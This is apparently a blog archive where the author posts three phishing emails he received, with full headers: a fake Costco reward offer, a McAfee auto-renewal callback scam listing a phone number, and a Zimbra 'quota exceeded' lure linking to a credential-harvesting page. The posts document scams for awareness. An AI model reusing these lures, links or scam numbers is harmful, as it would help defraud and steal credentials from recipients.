costco phish from sendgrid

Posted by Dave Yadallee on
Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 15 Feb 2023 13:33:26 -0700

Received: from wrqvnnhc.outbound-mail.sendgrid.net ([149.72.34.12]:63926)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.96)

(envelope-from )

id 1pSOSr-000CGc-1U

for dave@doctor.nl2k.ab.ca;

Wed, 15 Feb 2023 13:33:11 -0700

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=happimynd.com;

h=content-type:mime-version:from:subject:to:content-transfer-encoding:

cc:content-type:from:subject:to;

s=s1; bh=EFPlcUXWo0TqdrKkkCiMQltKMuuB4P6zlP0X6z+8hZI=;

b=muGfjU0VfinhRhq/kA99D0XX0v90r94xejKRj/lXPPoVuz36SsJhFZlaIRS7oVVmODX8

Mw+ybbKpiCFYL/vHtGjyfL0FXNHZ5DIzB41AbQ36B/tajJl9t2Hjag1+n0hcV9JFpJehn4

2wj1OJU3WGadGWs06KX0gcdqsw9nxT1oEgTc1ONhJACQL0KMn2HZKn5v7WJVIiQsYU3NV7

feVSiXNajs0R9K1Wk8qUfuMQOfGLTrkfPKaq57l1+BrMJOC9VfRwBjzArF0pLXA1ONezPM

38wosT5i785DshZTH6S5tKv3A/m9MXbtM9NQSG15pKu31quNVy7sdYZLVBChu6ww==

Received: by filterdrecv-6b89949864-c7hql with SMTP id filterdrecv-6b89949864-c7hql-1-63ED4105-276

2023-02-15 20:31:02.025962361 +0000 UTC m=+437562.938851035

Received: from amazon.com (unknown)

by geopod-ismtpd-4-0 (SG) with ESMTP

id 3AUM_OtKQlGXyK_iVlMsdQ

for ;

Wed, 15 Feb 2023 20:31:01.882 +0000 (UTC)

Content-Type: text/html; charset=us-ascii

MIME-Version: 1.0

From: Costco

Subject: Smart Watch Exclusive Rewards For You

Date: Wed, 15 Feb 2023 20:31:02 +0000 (UTC)

Message-ID: <3AUM_OtKQlGXyK_iVlMsdQ@geopod-ismtpd-4-0>

X-SG-EID:

=?us-ascii?Q?cz7+NVn+k3GGM8JCV0czGDHe1WIBBJNOgve27G90ZCtcF3oKKEl3ftWfkdQoqc?=

=?us-ascii?Q?wmeLow2wgWm34bWFrKl4+QGgTsEb4KKIB8QnWlS?=

=?us-ascii?Q?tIy+HfE8GkUUeFbAiw1tzXhSfl19Lo35cQ9KYWS?=

=?us-ascii?Q?zq+EZBiCOQtaN0kOJlb7ay9kttz=2F3i4fk+3PwPX?=

=?us-ascii?Q?ojJ0HUlIvqqJZ39aiBXi1yK4VAtLna1GRLlU4H4?=

=?us-ascii?Q?Yi8+6x+y0N47+tSxvK7rydC76bVUJ5Iw9+KyjN?=

To: dave@doctor.nl2k.ab.ca

X-Entity-ID: nDPBW8t2ETGAhAHmUUlrhw==

Content-Transfer-Encoding: 7bit





Celebrating Costco anniversary with an Smart Watch





hz205kV6clyLoynKkoOTPLl7oYf2Fz5MZYDV8oRbAfNOE1pPf3yUFKSTyYM4oHHewaZuoGwPM9uh0JW6ClR7VzQjoseD0LHmLwH034FF30MUzzQ1KxZvXFFcYJFOkc1VyzMstiXn8A7x0OoAceV0Jq2yZxd9A4VZtyhNG40EvY1lDgMGlxwUNpiDNlDdgp2AN9dj44OqSGClNeSYCeJfuSJ74cbas3B53FfYzUeiqHu4McSehrjBaTz4WA5euwao1fcr0hAgPUarXTv4bFwboV6bm1fHnfWflYxb6XiLIj3v3op4UM69y2aKTfi7l4dwTAyQoGsWQlhJAxEk9Ajxtj8dpgaAbeXUElBTSTFz4M8u9CF83OvmYupdAqEBvrm0DNJmweLrQJLQcgO5VahJuxNVOhn9yzZ2dyezCPRjptZrADmlEuVZRyKvFXu4njWqH0QaGxjVQ8dgCps6JdWqBwM7j61xgNNODtOaQXWxWZE







McAfee Phish from Google

Posted by Dave Yadallee on
Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 15 Feb 2023 05:52:01 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96)

(envelope-from )

id 1pSHG9-000GzR-0N

for dave@doctor.nl2k.ab.ca;

Wed, 15 Feb 2023 05:51:41 -0700

Resent-From: The Doctor

Resent-Date: Wed, 15 Feb 2023 05:51:41 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-pj1-f47.google.com ([209.85.216.47]:51780)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.96)

(envelope-from )

id 1pSHBe-000FRr-0g

for doctor@nl2k.ca;

Wed, 15 Feb 2023 05:46:55 -0700

Received: by mail-pj1-f47.google.com with SMTP id gd1so7281225pjb.1

for ; Wed, 15 Feb 2023 04:44:51 -0800 (PST)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=gmail.com; s=20210112;

h=date:mime-version:to:subject:from:message-id:from:to:cc:subject

:date:message-id:reply-to;

bh=TfjxgSO2SqW8xLSE8BfCAJI4QzrVj/EMPHSSp+Yk0bE=;

b=Fufe4QkN4zzOFY7Rgm3SHSqM1gAlQPplxBqyJzkMEx1bihHUiCgr8+D2orTVEqneNJ

Mqh1zAkCplvJ52AakvcjuIKAH+nlBkagjzEoAdMuGU16Bigy9EkRDFHUjkjjMzCYE3BG

8HJckdbQ/AWYldKbWQCIRVWneEAfa/UsBNZt5Yc6S+Z7//aPZGJcurLx6cNLVM/JPe/J

4LoRj6q5hBLcr0VJXdkNhF82b0dTNTAmMhYVFwJvNyAVNctDpY7I+bA772eFQaFShBQM

zbj7CzCg0+MrLJQ7i3xCHHlLEPEivAoVJ6ESq4Ax86Okg+GHQCSYAJQlZnrrgrbuMdHB

Vs3g==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20210112;

h=date:mime-version:to:subject:from:message-id:x-gm-message-state

:from:to:cc:subject:date:message-id:reply-to;

bh=TfjxgSO2SqW8xLSE8BfCAJI4QzrVj/EMPHSSp+Yk0bE=;

b=Hmcr6qOSzp4EsHuP7S7XdEG4KJQKfE9Emy9TQN9HSICRKcUV7e1hkHD9s2NXGWXNGT

S29Frd/dsafvUKXrrz5JwaJ9XNKWsDiNZFcMZU+rgnzyTIn1aIj7GvHWKwOgkSkpSfXa

xPBw9sO+O8EqGP1AQ1bQOgXv4xAlON6Bi2/zG0HIvjK64lOm+NpubpgFlVQCbRFrTVA8

U7NU/Y0E1kfxHHmJcdbXuaA4pfyW86BDCW2IMqcfHmJGNu/jOZ4TClQYvkwAQESK/xBY

w01GKvzfbm1CMG6D+sfNV4XSu6PDuBYBgh7SHRqFevmFK/hGdCPj9z+o76bNObYxazRV

ycfw==

X-Gm-Message-State: AO0yUKVbhVGeHuFQgX3Ke4oKBkpP4CvjffV+3TpzZVp2ysWzwBkbNr3J

aLZ4I3qPnjHVo2EbD3AlMv3GNSI0kTz7tQ==

X-Google-Smtp-Source: AK7set9CKAIYE619T2JLQIsu7KBYVxM5a/dbs5/DImcK93kIpHg5G7yR+pKXOJOocGkbFnKronrQew==

X-Received: by 2002:a05:6a20:a5aa:b0:bf:58d1:ce98 with SMTP id bc42-20020a056a20a5aa00b000bf58d1ce98mr3218564pzb.23.1676465086029;

Wed, 15 Feb 2023 04:44:46 -0800 (PST)

Received: from 181.214.70.236 ([181.214.70.236])

by smtp.gmail.com with ESMTPSA id k22-20020a17090a591600b0022c0a05229fsm1344835pji.41.2023.02.15.04.44.44

for

(version=TLS1_2 cipher=ECDHE-ECDSA-AES128-GCM-SHA256 bits=128/128);

Wed, 15 Feb 2023 04:44:45 -0800 (PST)

Message-ID: <63ecd3bd.170a0220.fdd56.2231@mx.google.com>

From: "George V. Knox"

X-Google-Original-From: "George V. Knox"

Subject: received a direct debit payment93481482YT

To: "doctor"

Content-Type: multipart/alternative; boundary="pTF1UqwGrLFjGmoC1wS=_PnS2YGZRUFs4n"

MIME-Version: 1.0

Date: Wed, 15 Feb 2023 04:44:45 -0800



This is a multi-part message in MIME format



--pTF1UqwGrLFjGmoC1wS=_PnS2YGZRUFs4n

Content-Type: text/plain; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline



Date : 15-Feb-2023



McAfee Total PC Protection Services

Customer Unique ID : DY-#496126112644388138



Renewed Annual Order!





Dear user, doctor@nl2k.ca



Since your auto debit service is still active and your previous servic=

e plan expired today, we renewed it for you.



Network & PC Protection was purchased for ($349.99) total using the pr=

e-approved payment method.







Need assistance? Contact us at : +1 (866) 515 1334.







Your PC plan is active as of right now (15-Feb-2023) and is good for (=

14-Feb-2024) the same fee will be charged next year unless cancelled.



If, for any reason, you would like to cancel your subscription, revers=

e a recent charge, or unsubscribe, please do so within (02 business da=

ys) of the transaction date.



Please call +1 (866) 515 1334 if you have any problems or want to quic=

kly stop auto debit.







With sincere thanks,



George V. Knox

Customer Billing Helpline Dept.





--pTF1UqwGrLFjGmoC1wS=_PnS2YGZRUFs4n

Content-Type: text/html; charset="utf-8"

Content-Transfer-Encoding: quoted-printable

Content-Disposition: inline



Date : 15-Feb-=

2023

McAfee
an> Total PC Protection Services
Customer Reference ID =

: DY-#496112506514822558




05, 176);">Order Confirmation Receipt!





Dear client , doctor@nl2k.ca



Since your auto debit service is still active and your previous ser=

vice plan expired today, we renewed it for you.



Network & PC Protection wa=

s purchased for ($349.99) total using the pre-approved payment method.=





<=

span style=3D"background-color: rgb(255, 255, 255);">Need assistance? =

Contact us at : 
inherit; color: rgb(22, 45, 64);">
olor: rgb(255, 255, 255);">+1 (866) 515 1334.
r>



Your PC plan is active as of right now =

(15-Feb-2023) and is good for (14-Feb-2024) the same fee will be charg=

ed next year unless cancelled.



If, for any reason, you would like to c=

ancel your subscription, reverse a recent charge, or unsubscribe, plea=

se do so within (02 business days) of the transaction date.




kground-color: rgb(255, 255, 255);">Please call 
e=3D"color: rgb(22, 45, 64); background-color: rgb(255, 255, 255);">
trong>+1 (866) 515 1334
0); background-color: rgb(255, 255, 255);"> if you have any prob=

lems or want to quickly stop auto debit.






Sincerely,

George V. Knox
>McAfee Tech Service Team







--pTF1UqwGrLFjGmoC1wS=_PnS2YGZRUFs4n--



E-mail credential phishing from Indonesia

Posted by Dave Yadallee on
Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Tue, 14 Feb 2023 23:14:23 -0700

Received: from mx10.ssp.co.id ([180.178.98.90]:34574 helo=mail.ssp.co.id)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.96)

(envelope-from )

id 1pSB3H-000Gnh-0F

for dave@doctor.nl2k.ab.ca;

Tue, 14 Feb 2023 23:13:52 -0700

Received: from localhost (localhost [127.0.0.1])

by mail.ssp.co.id (Postfix) with ESMTP id 2718C6069E860;

Wed, 15 Feb 2023 10:03:39 +0700 (WIB)

Received: from mail.ssp.co.id ([127.0.0.1])

by localhost (mail2020.ssp.co.id [127.0.0.1]) (amavisd-new, port 10032)

with ESMTP id 50L1_tkEI2dc; Wed, 15 Feb 2023 10:03:38 +0700 (WIB)

Received: from localhost (localhost [127.0.0.1])

by mail.ssp.co.id (Postfix) with ESMTP id 8D5136069E852;

Wed, 15 Feb 2023 10:03:38 +0700 (WIB)

DKIM-Filter: OpenDKIM Filter v2.10.3 mail.ssp.co.id 8D5136069E852

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ssp.co.id;

s=2FAF0898-8B55-11E9-BA94-6A591D0F20AF; t=1676430218;

bh=gRgkDlr2QC160aJPfGhDFXp358cjg0syFVDESa7daqQ=;

h=MIME-Version:To:From:Date:Message-Id;

b=CMiiBwyQpxUhV7Knle1LpCdf/p05VP+LGcBvzrlVs5yWkoFX1RnAEa/QHqClBxLSY

jv6F8M644BV5pg6E97RaLryim1/GzgzD9nc06XV/N/kdgjsMt+hSE6WtWaJ6EYEgFT

L9TIYKOsaCuPnkW9j4KUq12LQeVij53DpyhCTHjREKmPkOke9qu54lS2fj7r9MT9MS

pvV3tqZGN7izI39QBrgCxF4jUL9uqZOWs3myeHvanAptopYP/DhiQ1FDdEU9mXT/3r

1VWQ+GzOybOMgdxCkOlWFMydtS6XKGCpLroRKnI6RdEKftChtATjF6o/MhalwXtPS6

Uql2SLKUQkzTw==

X-Virus-Scanned: amavisd-new at ssp.co.id

Received: from mail.ssp.co.id ([127.0.0.1])

by localhost (mail2020.ssp.co.id [127.0.0.1]) (amavisd-new, port 10026)

with ESMTP id sJpoLL0zPUkf; Wed, 15 Feb 2023 10:03:38 +0700 (WIB)

Received: from [103.1.179.222] (unknown [103.1.179.222])

by mail.ssp.co.id (Postfix) with ESMTPSA id 1C8BD6069E85B;

Wed, 15 Feb 2023 10:03:33 +0700 (WIB)

Content-Type: multipart/alternative; boundary="===============1166511186=="

MIME-Version: 1.0

Subject: info

To: Recipients

From: "Zimbra"

Date: Wed, 15 Feb 2023 08:33:25 +0530

Message-Id: <20230215030334.1C8BD6069E85B@mail.ssp.co.id>



You will not see this in a MIME-aware mail reader.

--===============1166511186==

Content-Type: text/plain; charset="utf-8"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable

Content-Description: Mail message body



Dear Zimbra mail users: =



Your account has exceeded the quota limit set by the Administrator, and y=

ou may not be able to send or receive new mail until you re-validate your a=

ccount =



=



=



=





To re-validate your account, please =



=



=



CLICK HERE TO VERIFY

=



click on the above link to verify =



Failure to verify, Your account will be permanently disable and deleted fr=

om our database. Respectfully yours, ?2022 Zimbra Customer Care=20

--===============1166511186==

Content-Type: text/html; charset="utf-8"

MIME-Version: 1.0

Content-Transfer-Encoding: quoted-printable

Content-Description: Mail message body




=3Dutf-8"/>

helvetica, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFO=

RM: none; FONT-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS:=

2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); =

TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: normal=

; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-=

decoration-style: initial; text-decoration-color: initial">
ONT-SIZE: 12pt">Dear =

Zimbra mail users:
ferrer noreferrer">
ne; FONT-FAMILY: verdana, sans-serif"><=

/SPAN>



HITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 4=

00; COLOR: rgb(0,0,0); FONT-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SP=

ACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-v=

ariant-ligatures: normal; font-variant-caps: normal; -webkit-text-stroke-wi=

dth: 0px; text-decoration-thickness: initial; text-decoration-style: initia=

l; text-decoration-color: initial">
ILY: verdana, sans-serif; COLOR: rgb(255,0,0)">
ON: underline">



OLOR: rgb(0,0,0)">

Your=

account has exceeded the quota limit set by the Administrator, and you may=

not be able to send or receive new mail until you re-validate yo=

ur account 

IV>




OLOR: rgb(0,0,0)">



OLOR: rgb(0,0,0)">


hed; BORDER-RIGHT: rgb(187,187,187) 1px dashed; BORDER-COLLAPSE: collapse; =

BORDER-BOTTOM: rgb(187,187,187) 1px dashed; BORDER-LEFT: rgb(187,187,187) 1=

px dashed">








FAMILY: verdana, arial, helvetica, sans-serif; BORDER-RIGHT: rgb(240,240,24=

0) 1pt inset; WIDTH: 105.85pt; BACKGROUND: red; BORDER-BOTTOM: rgb(240,240,=

240) 1pt solid; PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 5.4pt;=

BORDER-LEFT: rgb(240,240,240) 1pt solid; PADDING-RIGHT: 5.4pt" width=3D141>


GIN-RIGHT: 0px">
verdana, sans-serif"> 
FAMILY: verdana, arial, helvetica, sans-serif; BORDER-RIGHT: rgb(187,187,18=

7) 1pt solid; WIDTH: 35.4pt; BACKGROUND-IMAGE: none; BACKGROUND-REPEAT: rep=

eat; BORDER-BOTTOM: rgb(187,187,187) 1pt solid; BACKGROUND-POSITION: 0% 0%;=

PADDING-BOTTOM: 0cm; PADDING-TOP: 0cm; PADDING-LEFT: 5.4pt; BORDER-LEFT: r=

gb(187,187,187); PADDING-RIGHT: 5.4pt" width=3D47>


GIN-RIGHT: 0px">
serif"> 




OLOR: rgb(0,0,0)">

To r=

e-validate your account, please 






OLOR: rgb(0,0,0)">



,187,187) 1px dashed; BORDER-RIGHT: rgb(187,187,187) 1px dashed; WIDTH: 300=

px; BORDER-BOTTOM: rgb(187,187,187) 1px dashed; PADDING-BOTTOM: 0px; PADDIN=

G-TOP: 0px; PADDING-LEFT: 0px; BORDER-LEFT: rgb(187,187,187) 1px dashed; MA=

RGIN: 0px; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(8,75,138); border-radi=

us: 5px">






Y>

-FAMILY: verdana, arial, helvetica, sans-serif; BORDER-RIGHT: rgb(187,187,1=

87) 1px dashed; BORDER-BOTTOM: rgb(187,187,187) 1px dashed; PADDING-BOTTOM:=

0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; BORDER-LEFT: rgb(187,187,187) 1p=

x dashed; PADDING-RIGHT: 0px">
ACKGROUND: none transparent scroll repeat 0% 0%; OUTLINE-WIDTH: medium; PAD=

DING-BOTTOM: 0px; PADDING-TOP: 0px; OUTLINE-STYLE: none; PADDING-LEFT: 0px;=

MARGIN: 0px; PADDING-RIGHT: 0px" href=3D"http://amoola.tk/mail1.php" rel=

=3D"nofollow%20noopener%20nofollow%20noopener%20noreferrer nofollow noopene=

r noreferrer nofollow noopener noreferrer nofollow noopener noreferrer nore=

ferrer noreferrer noreferrer noreferrer nofollow noopener noreferrer" targe=

t=3D_blank>
LY: verdana, sans-serif">CLICK HERE TO VE
23m_3054015556958039049m_-1391893868802809595m_8710498082380162426m_8759714=

186932824562goog_1244613476>
15556958039049m_-1391893868802809595m_8710498082380162426m_8759714186932824=

562goog_1244613477>RIFY



OLOR: rgb(0,0,0)">





(0,0,0)'>click on the above link to verify<=

/SPAN>



(0,0,0)'>



(0,0,0)'>Failure to verify, Your accou=

nt will be permanently disable and deleted from our database.
DIV>


(0,0,0)'>Respectfully yours,



(0,0,0)'> 



(0,0,0)'>
s-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT=

-WEIGHT: 400; COLOR: rgb(0,0,0); FONT-STYLE: normal; LETTER-SPACING: normal=

; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px"> ?2022 Zimbra Cust=

omer Care 


--===============1166511186==--